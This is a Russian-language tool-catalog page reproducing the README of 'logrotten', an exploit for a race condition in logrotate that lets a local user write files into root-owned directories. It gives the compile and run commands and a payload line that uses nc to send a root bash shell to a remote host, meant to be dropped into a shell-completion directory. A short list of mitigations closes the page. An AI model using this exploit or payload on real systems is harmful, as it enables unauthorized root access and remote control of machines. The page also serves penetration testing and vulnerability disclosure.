Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
logrotten — Эксплойт состояния гонки (race condition) в Logrotate, позволяющий повышать привилегии путём записи произвольных файлов, таких как полезные нагрузки reverse shell, в системные каталоги. | Kitploit
Инструменты/GitHubGitHub/whotwagner/logrotten
Повышение привилегийАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеRed TeamingЭксплуатация Бинарных Файлов
GitHubwhotwagner/logrotten

logrotten

Эксплойт состояния гонки (race condition) в Logrotate, позволяющий повышать привилегии путём записи произвольных файлов, таких как полезные нагрузки reverse shell, в системные каталоги.

Репозиторий
211267 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[!WARNING]
Этот репозиторий перемещён на https://codeberg.org/whotwagner/logrotten. Пожалуйста, посетите новое место для последних обновлений.

Выигрываем гонку в logrotate для повышения привилегий

Logrotten Logo

Краткое описание

  • logrotate подвержен состоянию гонки после переименования файла журнала.
  • Если logrotate выполняется с правами root, и в конфигурации задана опция, создающая файл (например, create, copy, compress и т.д.), а пользователь контролирует путь к журналу, то можно злоупотребить состоянием гонки для записи файлов в ЛЮБЫЕ каталоги.
  • Атакующий может повысить свои привилегии, записав reverse-shell в такие каталоги, как "/etc/bash_completition.d/".

Предварительные условия для повышения привилегий

  • Logrotate должен выполняться с правами root
  • Путь к журналу должен находиться под контролем атакующего
  • В конфигурации logrotate должна быть задана любая опция, создающая файлы

Протестированные версии

  • Debian GNU/Linux 11 (bullseye)
  • Debian GNU/Linux 9.5 (stretch)
  • Amazon Linux 2 AMI (HVM)
  • Ubuntu 18.04.1
  • logrotate 3.8.6
  • logrotate 3.11.0
  • logrotate 3.15.0
  • logrotate 3.18.0

Компиляция

  • gcc -o logrotten logrotten.c

Подготовка полезной нагрузки

root@kitploit:~
echo "if [ `id -u` -eq 0 ]; then (/bin/nc -e /bin/bash myhost 3333 &); fi" > payloadfile

Запуск эксплойта

Если в logrotate.cfg задана опция "create":

root@kitploit:~
./logrotten -p ./payloadfile /tmp/log/pwnme.log

Если в logrotate.cfg задана опция "compress":

root@kitploit:~
./logrotten -p ./payloadfile -c -s 4 /tmp/log/pwnme.log

Известные проблемы

  • Было сложно выиграть гонку внутри docker-контейнера или на lvm2-томе. Эта версия logrotten повышает надёжность.

Меры защиты

  • убедитесь, что путь к журналу принадлежит root
  • используйте опцию "su" в logrotate.cfg
  • используйте selinux или apparmor

Автор

  • Wolfgang Hotwagner

Ссылки

  • https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition
  • https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges
  • https://github.com/whotwagner/logrotten
  • https://www.ait.ac.at/themen/cyber-security/ait-sa-20190930-01/
  • https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd
Скачать инструмент